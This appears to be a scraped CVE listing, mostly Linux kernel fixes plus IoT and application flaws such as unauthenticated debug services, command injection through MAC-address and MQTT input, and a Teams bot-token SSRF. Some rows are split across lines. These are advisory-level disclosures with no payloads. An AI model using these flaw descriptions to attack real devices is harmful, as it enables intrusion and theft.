CVE-2026-45854	In the Linux kernel, the following vulnerability has been resolved: crypto: inside-secure/eip93 - unregister only available algorithm EIP93 has an options register. This register indicates which crypto algorithms are implemented in silicon. Supported algorithms are registered on this basis. Unregister algorithms on the same basis. Currently, all algorithms are unregistered, even those not supported by HW. This results in panic on platforms that don't have all options implemented in silicon.	N/A	More Details
CVE-2026-45855	In the Linux kernel, the following vulnerability has been resolved: ata: libata-scsi: avoid Non-NCQ command starvation When a non-NCQ command is issued while NCQ commands are being executed, ata_scsi_qc_issue() indicates to the SCSI layer that the command issuing should be deferred by returning SCSI_MLQUEUE_XXX_BUSY. This command deferring is correct and as mandated by the ACS specifications since NCQ and non-NCQ commands cannot be mixed. However, in the case of a host adapter using multiple submission queues, when the target device is under a constant load of NCQ commands, there are no guarantees that requeueing the non-NCQ command will be executed later and it may be deferred again repeatedly as other submission queues can constantly issue NCQ commands from different CPUs ahead of the non-NCQ command. This can lead to very long delays for the execution of non-NCQ commands, and even complete starvation for these commands in the worst case scenario. Since the block layer and the SCSI layer do not distinguish between queueable (NCQ) and non queueable (non-NCQ) commands, libata-scsi SAT implementation must ensure forward progress for non-NCQ commands in the presence of NCQ command traffic. This is similar to what SAS HBAs with a hardware/firmware based SAT implementation do. Implement such forward progress guarantee by limiting requeueing of non-NCQ commands from ata_scsi_qc_issue(): when a non-NCQ command is received and NCQ commands are in-flight, do not force a requeue of the non-NCQ command by returning SCSI_MLQUEUE_XXX_BUSY and instead return 0 to indicate that the command was accepted but hold on to the qc using the new deferred_qc field of struct ata_port. This deferred qc will be issued using the work item deferred_qc_work running the function ata_scsi_deferred_qc_work() once all in-flight commands complete, which is checked with the port qc_defer() callback return value indicating that no further delay is necessary. This check is done using the helper function ata_scsi_schedule_deferred_qc() which is called from ata_scsi_qc_complete(). This thus excludes this mechanism from all internal non-NCQ commands issued by ATA EH. When a port deferred_qc is non NULL, that is, the port has a command waiting for the device queue to drain, the issuing of all incoming commands (both NCQ and non-NCQ) is deferred using the regular busy mechanism. This simplifies the code and also avoids potential denial of service problems if a user issues too many non-NCQ commands. Finally, whenever ata EH is scheduled, regardless of the reason, a deferred qc is always requeued so that it can be retried once EH completes. This is done by calling the function ata_scsi_requeue_deferred_qc() from ata_eh_set_pending(). This avoids the need for any special processing for the deferred qc in case of NCQ error, link or device reset, or device timeout.	N/A	More Details
CVE-2026-45857	In the Linux kernel, the following vulnerability has been resolved: scsi: csiostor: Fix dereference of null pointer rn The error exit path when rn is NULL ends up deferencing the null pointer rn via the use of the macro CSIO_INC_STATS. Fix this by adding a new error return path label after the use of the macro to avoid the deference.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: ext4: don't zero the entire extent if EXT4_EXT_DATA_PARTIAL_VALID1 When allocating initialized blocks from a large unwritten extent, or when splitting an unwritten extent during end I/O and converting it to initialized, there is currently a potential issue of stale data if the extent needs to be split in the middle. 0 A B N [UUUUUUUUUUUU] U: unwritten extent [--DDDDDDDD--] D: valid data |<- ->| ----> this range needs to be initialized ext4_split_extent() first try to split this extent at B with EXT4_EXT_DATA_ENTIRE_VALID1 and EXT4_EXT_MAY_ZEROOUT flag set, but ext4_split_extent_at() failed to split this extent due to temporary lack of space. It zeroout B to N and mark the entire extent from 0 to N as written. 0 A B N [WWWWWWWWWWWW] W: written extent [SSDDDDDDDDZZ]	N/A	More

45858	Z: zeroed, S: stale data ext4_split_extent() then try to split this extent at A with EXT4_EXT_DATA_VALID2 flag set. This time, it split successfully and left a stale written extent from 0 to A. 0 A B N [WW|WWWWWWWWW] [SS|DDDDDDDDZZ] Fix this by pass EXT4_EXT_DATA_PARTIAL_VALID1 to ext4_split_extent_at() when splitting at B, don't convert the entire extent to written and left it as unwritten after zeroing out B to N. The remaining work is just like the standard two-part split. ext4_split_extent() will pass the EXT4_EXT_DATA_VALID2 flag when it calls ext4_split_extent_at() for the second time, allowing it to properly handle the split. If the split is successful, it will keep extent from 0 to A as unwritten.		Details
CVE-2026-45863	In the Linux kernel, the following vulnerability has been resolved: i3c: dw: Fix memory leak in dw_i3c_master_i2c_xfers() The dw_i3c_master_i2c_xfers() function allocates memory for the xfer structure using dw_i3c_master_alloc_xfer(). If pm_runtime_resume_and_get() fails, the function returns without freeing the allocated xfer, resulting in a memory leak. Add a dw_i3c_master_free_xfer() call to the error path to ensure the allocated memory is properly freed. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2026-49195	Unauthenticated Debug Service. The /sbin/mtk_dut binary is exposed on TCP port 9000 without authentication, allowing any LAN-based attacker to execute arbitrary UCC commands.	N/A	More Details
CVE-2026-49196	The Wi-Fi device blocking feature fails to sanitize MAC address input, allowing injection and execution of arbitrary shell commands.	N/A	More Details
CVE-2026-49197	Web endpoints intended for the Acer Connect app improperly validate the HTTP Authorization header, failing to block requests when Base64 decoding fails.	N/A	More Details
CVE-2026-49139	Nanobot prior to version 0.2.1 contains a server-side request forgery vulnerability in the Microsoft Teams channel handler that allows remote attackers to exfiltrate Bot Framework bearer tokens by supplying a forged activity with an attacker-controlled serviceUrl value. Attackers can poison the stored conversation reference by sending a crafted inbound activity to the Teams webhook, causing subsequent bot replies to transmit token-bearing Authorization header requests to an attacker-controlled host.	N/A	More Details
CVE-2026-49198	Improper access control in the MQTT broker allows wildcard topic subscriptions, exposing all MQTT traffic to unauthorized actors.	N/A	More Details
CVE-2026-45865	In the Linux kernel, the following vulnerability has been resolved: mctp i2c: initialise event handler read bytes Set a 0xff value for i2c reads of an mctp-i2c device. Otherwise reads will return "val" from the i2c bus driver. For i2c-aspeed and i2c-npcm7xx that is a stack uninitialised u8. Tested with "i2ctransfer -y 1 r10@0x34" where 0x34 is a mctp-i2c instance, now it returns all 0xff.	N/A	More Details
CVE-2026-45873	In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_rbtree: check for partial overlaps in anonymous sets Userspace provides an optimized representation in case intervals are adjacent, where the end element is omitted. The existing partial overlap detection logic skips anonymous set checks on start elements for this reason. However, it is possible to add intervals that overlap to this anonymous where two start elements with the same, eg. A-B, A-C where C < B. start end A B start end A C Restore the check on overlapping start elements to report an overlap.	N/A	More Details
CVE-2026-45866	In the Linux kernel, the following vulnerability has been resolved: serial: caif: fix use-after-free in caif_serial ldisc_close() There is a use-after-free bug in caif_serial where handle_tx() may access ser->tty after the tty has been freed. The race condition occurs between ldisc_close() and packet transmission: CPU 0 (close) CPU 1 (xmit) ---------- ---------- ldisc_close() tty_kref_put(ser->tty) [tty may be freed here] <-- race window --> caif_xmit() handle_tx() tty = ser->tty // dangling ptr tty->ops->write() // UAF! schedule_work() ser_release() unregister_netdevice() The root cause is that tty_kref_put() is called in ldisc_close() while the network device is still active and can receive packets. Since ser and tty have a 1:1 binding relationship with consistent lifecycles (ser is allocated in ldisc_open and freed in ser_release via unregister_netdevice, and each ser binds exactly one tty), we can safely defer the tty reference release to ser_release() where the network device is unregistered. Fix this by moving tty_kref_put() from ldisc_close() to ser_release(), after unregister_netdevice(). This ensures the tty reference is held as long as the network device exists, preventing the UAF. Note: We save ser->tty before unregister_netdevice() because ser is embedded in netdev's private data and will be freed along with netdev (needs_free_netdev = true). How to reproduce: Add mdelay(500) at the beginning of ldisc_close() to widen the race window, then run the reproducer program [1]. Note: There is a separate deadloop issue in handle_tx() when using PORT_UNKNOWN serial ports (e.g., /dev/ttyS3 in QEMU without proper serial backend). This deadloop exists even without this patch, and is likely caused by inconsistency between uart_write_room() and uart_write() in serial core. It has been addressed in a separate patch [2]. KASAN report: == BUG: KASAN: slab-use-after-free in handle_tx+0x5d1/0x620 Read of size 1 at addr ffff8881131e1490 by task caif_uaf_trigge/9929 Call Trace: <TASK> dump_stack_lvl+0x10e/0x1f0 print_report+0xd0/0x630 kasan_report+0xe4/0x120 handle_tx+0x5d1/0x620 dev_hard_start_xmit+0x9d/0x6c0	N/A	More Details

	__dev_queue_xmit+0x6e2/0x4410 packet_xmit+0x243/0x360 packet_sendmsg+0x26cf/0x5500 __sys_sendto+0x4a3/0x520 __x64_sys_sendto+0xe0/0x1c0 do_syscall_64+0xc9/0xf80 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f615df2c0d7 Allocated by task 9930: Freed by task 64: Last potentially related work creation: The buggy address belongs to the object at ffff8881131e1000 which belongs to the cache kmalloc-cg-2k of size 2048 The buggy address is located 1168 bytes inside of freed 2048-byte region [ffff8881131e1000, ffff8881131e1800) The buggy address belongs to the physical page: page_owner tracks the page as allocated page last free pid 9778 tgid 9778 stack trace: Memory state around the buggy address: ffff8881131e1380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff8881131e1400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff8881131e1480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff8881131e1500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff8881131e1580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb == [1]: https://gist.github.com/mrpre/f683f244544f7b11e7fa87df9e6c2eeb [2]: https://lore.kernel.org/linux-serial/20260204074327.226165-1-jiayuan.chen@linux.dev/T/#u		
CVE-2026-45867	In the Linux kernel, the following vulnerability has been resolved: power: supply: act8945a: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.	N/A	More Details
CVE-2026-45868	In the Linux kernel, the following vulnerability has been resolved: pinctrl: single: fix refcount leak in pcs_add_gpio_func() of_parse_phandle_with_args() returns a device_node pointer with refcount incremented in gpiospec.np. The loop iterates through all phandles but never releases the reference, causing a refcount leak on each iteration. Add of_node_put() calls to release the reference after extracting the needed arguments and on the error path when devm_kzalloc() fails. This bug was detected by our static analysis tool and verified by my code review.	N/A	More Details
CVE-2026-49199	Crafted MQTT messages can trigger command injection, resulting in root-level code execution on the target device.	N/A	More Details
CVE-2026-45869	In the Linux kernel, the following vulnerability has been resolved: power: supply: wm97xx: Fix NULL pointer dereference in power_supply_changed() In `probe()`, `request_irq()` is called before allocating/registering a `power_supply` handle. If an interrupt is fired between the call to `request_irq()` and `power_supply_register()`, the `power_supply` handle will be used uninitialized in `power_supply_changed()` in `wm97xx_bat_update()` (triggered from the interrupt handler). This will lead to a `NULL` pointer dereference since Fix this racy `NULL` pointer dereference by making sure the IRQ is requested _after_ the registration of the `power_supply` handle. Since the IRQ is the last thing requests in the `probe()` now, remove the error path for freeing it. Instead add one for unregistering the `power_supply` handle when IRQ request fails.	N/A	More Details
CVE-2026-45870	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: auth_gss: fix memory leaks in XDR decoding error paths The gssx_dec_ctx(), gssx_dec_status(), and gssx_dec_name() functions allocate memory via gssx_dec_buffer(), which calls kmemdup(). When a subsequent decode operation fails, these functions return immediately without freeing previously allocated buffers, causing memory leaks. The leak in gssx_dec_ctx() is particularly relevant because the caller (gssp_accept_sec_context_upcall) initializes several buffer length fields to non-zero values, resulting in memory allocation: struct gssx_ctx rctxh = { .exported_context_token.len = GSSX_max_output_handle_sz, .mech.len = GSS_OID_MAX_LEN, .src_name.display_name.len = GSSX_max_princ_sz, .targ_name.display_name.len = GSSX_max_princ_sz }; If, for example, gssx_dec_name() succeeds for src_name but fails for targ_name, the memory allocated for exported_context_token, mech, and src_name.display_name remains unreferenced and cannot be reclaimed. Add error handling with goto-based cleanup to free any previously allocated buffers before returning an error.	N/A	More Details
CVE-2026-45871	In the Linux kernel, the following vulnerability has been resolved: tpm: st33zp24: Fix missing cleanup on get_burstcount() error get_burstcount() can return -EBUSY on timeout. When this happens, st33zp24_send() returns directly without releasing the locality acquired earlier. Use goto out_err to ensure proper cleanup when get_burstcount() fails.	N/A	More Details
CVE-2026-49200	The acer_cgi.log file in the device firmware is accessible without authentication via the web interface. This file contains cleartext login credentials (for web and Telnet), leading to unauthorized system access.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: virtio_bt: validate rx pkt_type		

CVE-2026-46186	header length virtbt_rx_handle() reads the leading pkt_type byte from the RX skb and forwards the remainder to hci_recv_frame() for every event/ACL/SCO/ISO type, without checking that the remaining payload is at least the fixed HCI header for that type. After the preceding patch bounds the backend-supplied used.len to [1, VIRTBT_RX_BUF_SIZE], a one-byte completion still reaches hci_recv_frame() with skb->len already pulled to 0. If the byte happened to be HCI_ACLDATA_PKT, the ACL-vs-ISO classification fast-path in hci_dev_classify_pkt_type() dereferences hci_acl_hdr(skb)->handle whenever the HCI device has an active CIS_LINK, BIS_LINK, or PA_LINK connection, reading two bytes of uninitialized RX-buffer data. The same hazard exists for every packet type the driver accepts because none of the switch cases in virtbt_rx_handle() check skb->len against the per-type minimum HCI header size before handing the frame to the core. After stripping pkt_type, require skb->len to cover the fixed header size for the selected type (event 2, ACL 4, SCO 3, ISO 4) before calling hci_recv_frame(); drop ratelimited otherwise. Unknown pkt_type values still take the original kfree_skb() default path. Use bt_dev_err_ratelimited() because both the length and pkt_type values come from an untrusted backend that can otherwise flood the kernel log.	N/A	More Details
CVE-2026-45872	In the Linux kernel, the following vulnerability has been resolved: scsi: smartpqi: Fix memory leak in pqi_report_phys_luns() pqi_report_phys_luns() fails to release the rpl_list buffer when encountering an unsupported data format or when the allocation for rpl_16byte_wwid_list fails. These early returns bypass the cleanup logic, leading to memory leaks. Consolidate the error handling by adding an out_free_rpl_list label and use goto statements to ensure rpl_list is consistently freed on failure. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2021-46747	Insufficient granularity of access control in ASP (AMD Secure Processor) may allow an attacker with an untrusted user space application to map sensitive SMN (System Management Network) apertures leading to a potential escalation of privileges.	N/A	More Details
CVE-2026-46187	In the Linux kernel, the following vulnerability has been resolved: wifi: rsi: fix kthread lifetime race between self-exit and external-stop RSI driver use both self-exit(kthread_complete_and_exit) and external-stop (kthread_stop) when killing a kthread. Generally, kthread_stop() is called first, and in this case, no particular issues occur. However, in rare instances where kthread_complete_and_exit() is called first and then kthread_stop() is called, a UAF occurs because the kthread object, which has already exited and been freed, is accessed again. Therefore, to prevent this with minimal modification, you must remove kthread_stop() and change the code to wait until the self-exit operation is completed.	N/A	More Details
CVE-2026-46183	In the Linux kernel, the following vulnerability has been resolved: mm/damon/sysfs-schemes: protect path kfree() with damon_sysfs_lock damon_sysfs_quot_goal->path can be read and written by users, via DAMON sysfs 'path' file. It can also be indirectly read, for the parameters {on,off}line committing to DAMON. The reads for parameters committing are protected by damon_sysfs_lock to avoid the sysfs files being destroyed while any of the parameters are being read. But the user-driven direct reads and writes are not protected by any lock, while the write is deallocating the path-pointing buffer. As a result, the readers could read the already freed buffer (user-after-free). Note that the user-reads don't race when the same open file is used by the writer, due to kernfs's open file locking. Nonetheless, doing the reads and writes with separate open files would be common. Fix it by protecting both the user-direct reads and writes with damon_sysfs_lock.	N/A	More Details
CVE-2026-46184	In the Linux kernel, the following vulnerability has been resolved: sound: ua101: fix division by zero at probe Add a missing sanity check for bNrChannels in detect_usb_format() to prevent a division by zero in playback_urb_complete() and capture_urb_complete(). USB core does not validate class-specific descriptor fields such as bNrChannels, so drivers must verify them before use. If a device provides bNrChannels = 0, frame_bytes becomes zero and is later used as a divisor in the URB completion handlers, leading to a kernel crash.	N/A	More Details
CVE-2026-46170	In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: ADD_ADDR rtx: free sk if last When an ADD_ADDR is retransmitted, the sk is held in sk_reset_timer(), and released at the end. If at that moment, it was the last reference being held, the sk would not be freed. sock_put() should then be called instead of __sock_put(). But that's not enough: if it is the last reference, sock_put() will call sk_free(), which will end up calling sk_stop_timer_sync() on the same timer, and waiting indefinitely to finish. So it is needed to mark that the timer is done at the end of the timer handler when it has not been rescheduled, not to call sk_stop_timer_sync() on "itself".	N/A	More Details
CVE-2026-45914	In the Linux kernel, the following vulnerability has been resolved: Revert "hwmon: (ibmpex) fix use-after-free in high/low store" This reverts commit 6946c726c3f4c36f0f049e6f97e88c510b15f65d. Jean Delvare points out that the patch does not completely fix the reported problem, that it in fact introduces a (new) race condition, and that it may actually not be needed in the first place. Various AI reviews agree. Specific and relevant AI feedback: " This reordering sets the driver data to NULL before removing the sensor attributes in the loop below. ibmpex_show_sensor() retrieves this driver data via dev_get_drvdata() but does not check if it is NULL before dereferencing it to access data->sensors[]. If a userspace process reads a sensor file (like temp1_input) while this delete function is running, could it race with the dev_set_drvdata(..., NULL) call here and crash in ibmpex_show_sensor()? Would it be safer to keep the original order where device_remove_file() is called before clearing the driver data? device_remove_file() should wait for any active sysfs callbacks to complete, which might already prevent the use-after-free this patch intends to fix. " Revert the offending patch. If it can be shown that the originally reported alleged race condition does indeed exist, it can always be re-introduced with a complete fix.	N/A	More Details

CVE-2026-0072	In addInputMethodListener of com.android.server.inputmethod.InputMethodManagerService, there is a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	N/A	More Details
CVE-2024-52011	launch-editor allows users to open files with line numbers in editor from Node.js. Prior to version 2.9.0, due to the insufficient sanitization of the `file` argument in the `launchEditor`, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters. This issue has been fixed in the `launch-editor` version 2.9.0, corresponding to vite version 5.4.9.	N/A	More Details
CVE-2026-8643	pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.	N/A	More Details
CVE-2026-45915	In the Linux kernel, the following vulnerability has been resolved: fat: avoid parent link count underflow in rmdir Corrupted FAT images can leave a directory inode with an incorrect i_nlink (e.g. 2 even though subdirectories exist). rmdir then unconditionally calls drop_nlink(dir) and can drive i_nlink to 0, triggering the WARN_ON in drop_nlink(). Add a sanity check in vfat_rmdir() and msdos_rmdir(): only drop the parent link count when it is at least 3, otherwise report a filesystem error.	N/A	More Details
CVE-2026-45916	In the Linux kernel, the following vulnerability has been resolved: power: supply: sbs-battery: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle. Keep the old behavior of just printing a warning in case of any failures during the IRQ request and finishing the probe successfully.	N/A	More Details
CVE-2026-45701	Sulu is an open-source PHP content management system based on the Symfony framework. Prior to versions 2.6.23 and 3.0.6, the password reset tokenand API key generation uses a weak cryptographical hash algorithm. This issue has been patched in versions 2.6.23 and 3.0.6.	N/A	More Details
CVE-2026-45917	In the Linux kernel, the following vulnerability has been resolved: ipvs: do not keep dest_dst if dev is going down There is race between the netdev notifier ip_vs_dst_event() and the code that caches dst with dev that is going down. As the FIB can be notified for the closed device after our handler finishes, it is possible valid route to be returned and cached resuling in a leaked dev reference until the dest is not removed. To prevent new dest_dst to be attached to dest just after the handler dropped the old one, add a netif_running() check to make sure the notifier handler is not currently running for device that is closing.	N/A	More Details
CVE-2026-46172	In the Linux kernel, the following vulnerability has been resolved: ipv6: xfrm6: release dst on error in xfrm6_rcv_encap() xfrm6_rcv_encap() performs an IPv6 route lookup when the skb does not already have a dst attached. ip6_route_input_lookup() returns a referenced dst entry even when the lookup resolves to an error route. If dst->error is set, xfrm6_rcv_encap() drops the skb without attaching the dst to the skb and without releasing the reference returned by the lookup. Repeated packets hitting this path therefore leak dst entries. Release the dst before jumping to the drop path.	N/A	More Details
CVE-2026-46171	In the Linux kernel, the following vulnerability has been resolved: riscv: kvm: fix vector context allocation leak When the second kzalloc (host_context.vector.datap) fails in kvm_riscv_vcpu_alloc_vector_context, the first allocation (guest_context.vector.datap) is leaked. Free it before returning.	N/A	More Details
CVE-2026-45918	In the Linux kernel, the following vulnerability has been resolved: ovpn: tcp - don't deref NULL sk_socket member after tcp_close() When deleting a peer in case of keepalive expiration, the peer is removed from the OpenVPN hashtable and is temporary inserted in a "release list" for further processing. This happens in: ovpn_peer_keepalive_work() unlock_ovpn(release_list) This processing includes detaching from the socket being used to talk to this peer, by restoring its original proto and socket ops/callbacks. In case of TCP it may happen that, while the peer is sitting in the release list, userspace decides to close the socket. This will result in a concurrent execution of: tcp_close(sk) __tcp_close(sk) sock_orphan(sk) sk_set_socket(sk, NULL) The last function call will set sk->sk_socket to NULL. When the releasing routine is resumed, ovpn_tcp_socket_detach() will attempt to dereference sk->sk_socket to restore its original ops member. This operation will crash due to sk->sk_socket being NULL. Fix this race condition by testing-and-accessing sk->sk_socket atomically under sk->sk_callback_lock.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: mptcp: do not account for OoO in mptcp_rcvbuf_grow() MPTCP-level OoOs are physiological when multiple subflows are active concurrently and will not cause retransmissions nor are caused by drops. Accounting for them in mptcp_rcvbuf_grow() causes the rcvbuf slowly drifting towards tcp_rmem[2]. Remove such accounting. Note that subflows will still account	N/A	More

45889	for TCP-level OoO when the MPTCP-level rcvbuf is propagated. This also closes a subtle and very unlikely race condition with rcvspace init; active sockets with user-space holding the msk-level socket lock, could complete such initialization in the receive callback, after that the first OoO data reaches the rcvbuf and potentially triggering a divide by zero Oops.		Details
CVE-2026-45919	In the Linux kernel, the following vulnerability has been resolved: sched/rt: Skip currently executing CPU in rto_next_cpu() CPU0 becomes overloaded when hosting a CPU-bound RT task, a non-CPU-bound RT task, and a CFS task stuck in kernel space. When other CPUs switch from RT to non-RT tasks, RT load balancing (LB) is triggered; with HAVE_RT_PUSH_IPI enabled, they send IPIs to CPU0 to drive the execution of rto_push_irq_work_func. During push_rt_task on CPU0, if next_task->prio < rq->donor->prio, resched_curr() sets NEED_RESCHED and after the push operation completes, CPU0 calls rto_next_cpu(). Since only CPU0 is overloaded in this scenario, rto_next_cpu() should ideally return -1 (no further IPI needed). However, multiple CPUs invoking tell_cpu_to_push() during LB increments rd->rto_loop_next. Even when rd->rto_cpu is set to -1, the mismatch between rd->rto_loop and rd->rto_loop_next forces rto_next_cpu() to restart its search from -1. With CPU0 remaining overloaded (satisfying rt_nr_migratory && rt_nr_total > 1), it gets reselected, causing CPU0 to queue irq_work to itself and send self-IPIs repeatedly. As long as CPU0 stays overloaded and other CPUs run pull_rt_tasks(), it falls into an infinite self-IPI loop, which triggers a CPU hardlockup due to continuous self-interrupts. The trigging scenario is as follows: cpu0 cpu1 cpu2 pull_rt_task tell_cpu_to_push <------------irq_work_queue_on rto_push_irq_work_func push_rt_task resched_curr(rq) pull_rt_task rto_next_cpu tell_cpu_to_push <------------------------- atomic_inc(rto_loop_next) rd->rto_loop != next rto_next_cpu irq_work_queue_on rto_push_irq_work_func Fix redundant self-IPI by filtering the initiating CPU in rto_next_cpu(). This solution has been verified to effectively eliminate spurious self-IPIs and prevent CPU hardlockup scenarios.	N/A	More Details
CVE-2026-45043	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, improper validation in the PUT /rustfs/admin/v3/import-iam endpoint allows a user with ImportIAMAction to create service accounts under arbitrary parent identities, including the root user (minioadmin). The endpoint accepts attacker-controlled parent, claims, accessKey, and secretKey values without enforcing privilege boundaries or sanitization. This enables privilege escalation to full administrative access using a persistent, attacker-defined credential. This vulnerability is fixed in 1.0.0-beta.2.	N/A	More Details
CVE-2026-45920	In the Linux kernel, the following vulnerability has been resolved: ext4: fix dirtyclusters double decrement on fs shutdown fstests test generic/388 occasionally reproduces a warning in ext4_put_super() associated with the dirty clusters count: WARNING: CPU: 7 PID: 76064 at fs/ext4/super.c:1324 ext4_put_super+0x48c/0x590 [ext4] Tracing the failure shows that the warning fires due to an s_dirtyclusters_counter value of -1. IOW, this appears to be a spurious decrement as opposed to some sort of leak. Further tracing of the dirty cluster count deltas and an LLM scan of the resulting output identified the cause as a double decrement in the error path between ext4_mb_mark_diskspace_used() and the caller ext4_mb_new_blocks(). First, note that generic/388 is a shutdown vs. fsstress test and so produces a random set of operations and shutdown injections. In the problematic case, the shutdown triggers an error return from the ext4_handle_dirty_metadata() call(s) made from ext4_mb_mark_context(). The changed value is non-zero at this point, so ext4_mb_mark_diskspace_used() does not exit after the error bubbles up from ext4_mb_mark_context(). Instead, the former decrements both cluster counters and returns the error up to ext4_mb_new_blocks(). The latter falls into the !ar->len out path which decrements the dirty clusters counter a second time, creating the inconsistency. To avoid this problem and simplify ownership of the cluster reservation in this codepath, lift the counter reduction to a single place in the caller. This makes it more clear that ext4_mb_new_blocks() is responsible for acquiring cluster reservation (via ext4_claim_free_clusters()) in the !delalloc case as well as releasing it, regardless of whether it ends up consumed or returned due to failure.	N/A	More Details
CVE-2026-45921	In the Linux kernel, the following vulnerability has been resolved: mtd: parsers: Fix memory leak in mtd_parser_tplink_safeloader_parse() The function mtd_parser_tplink_safeloader_parse() allocates buf via mtd_parser_tplink_safeloader_read_table(). If the allocation for parts[idx].name fails inside the loop, the code jumps to the err_free label without freeing buf, leading to a memory leak. Fix this by freeing the temporary buffer buf in the err_free label. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2026-45922	In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix memory leak in GET_DATA_DIRECT_SYSFS_PATH handler The UVERBS_HANDLER(MLX5_IB_METHOD_GET_DATA_DIRECT_SYSFS_PATH) function allocates memory for the device path using kobject_get_path(). If the length of the device path exceeds the output buffer length, the function returns -ENOSPC but does not free the allocated memory, resulting in a memory leak. Add a kfree() call to the error path to ensure the allocated memory is properly freed. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2026-45923	In the Linux kernel, the following vulnerability has been resolved: net: usb: catc: enable basic endpoint checking catc_probe() fills three URBs with hardcoded endpoint pipes without verifying the endpoint descriptors: - usb_sndbulkpipe(usbdev, 1) and usb_rcvbulkpipe(usbdev, 1) for TX/RX - usb_rcvintpipe(usbdev, 2) for interrupt status A malformed USB device can present these endpoints with transfer types that differ from what the driver assumes. Add a catc_usb_ep enum for endpoint numbers, replacing magic constants	N/A	More Details

	throughout. Add usb_check_bulk_endpoints() and usb_check_int_endpoints() calls after usb_set_interface() to verify endpoint types before use, rejecting devices with mismatched descriptors at probe time. Similar to - commit 90b7f2961798 ("net: usb: rtl8150: enable basic endpoint checking") which fixed the issue in rtl8150.		
CVE-2026-45924	In the Linux kernel, the following vulnerability has been resolved: ksmbd: call ksmbd_vfs_kern_path_end_removing() on some error paths There are two places where ksmbd_vfs_kern_path_end_removing() needs to be called in order to balance what the corresponding successful call to ksmbd_vfs_kern_path_start_removing() has done, i.e. drop inode locks and put the taken references. Otherwise there might be potential deadlocks and unbalanced locks which are caught like: BUG: workqueue leaked lock or atomic: kworker/5:21/0x00000000/7596 last function: handle_ksmbd_work 2 locks held by kworker/5:21/7596: #0: ffff8881051ae448 (sb_writers#3){.+.+}-{0:0}, at: ksmbd_vfs_kern_path_locked+0x142/0x660 #1: ffff888130e966c0 (&type->i_mutex_dir_key#3/1){+.+.}-{4:4}, at: ksmbd_vfs_kern_path_locked+0x17d/0x660 CPU: 5 PID: 7596 Comm: kworker/5:21 Not tainted 6.1.162-00456-gc29b353f383b #138 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014 Workqueue: ksmbd-io handle_ksmbd_work Call Trace: <TASK> dump_stack_lvl+0x44/0x5b process_one_work.cold+0x57/0x5c worker_thread+0x82/0x600 kthread+0x153/0x190 ret_from_fork+0x22/0x30 </TASK> Found by Linux Verification Center (linuxtesting.org).	N/A	More Details
CVE-2026-45925	In the Linux kernel, the following vulnerability has been resolved: thermal/of: Fix reference leak in thermal_of_cm_lookup() In thermal_of_cm_lookup(), tr_np is obtained via of_parse_phandle(), but never released. Use the __free(device_node) cleanup attribute to automatically release the node and fix the leak. [rjw: Changelog edits]	N/A	More Details
CVE-2026-45926	In the Linux kernel, the following vulnerability has been resolved: rust: pwm: Fix potential memory leak on init error When initializing a PWM chip using pwmchip_alloc(), the allocated device owns an initial reference that must be released on all error paths. If __pinned_init() were to fail, the allocated pwm_chip would currently leak because the error path returns without calling pwmchip_put().	N/A	More Details
CVE-2026-45927	In the Linux kernel, the following vulnerability has been resolved: bpf: Require frozen map for calculating map hash Currently, bpf_map_get_info_by_fd calculates and caches the hash of the map regardless of the map's frozen state. This leads to a TOCTOU bug where userspace can call BPF_OBJ_GET_INFO_BY_FD to cache the hash and then modify the map contents before freezing. Therefore, a trusted loader can be tricked into verifying the stale hash while loading the modified contents. Fix this by returning -EPERM if the map is not frozen when the hash is requested. This ensures the hash is only generated for the final, immutable state of the map.	N/A	More Details
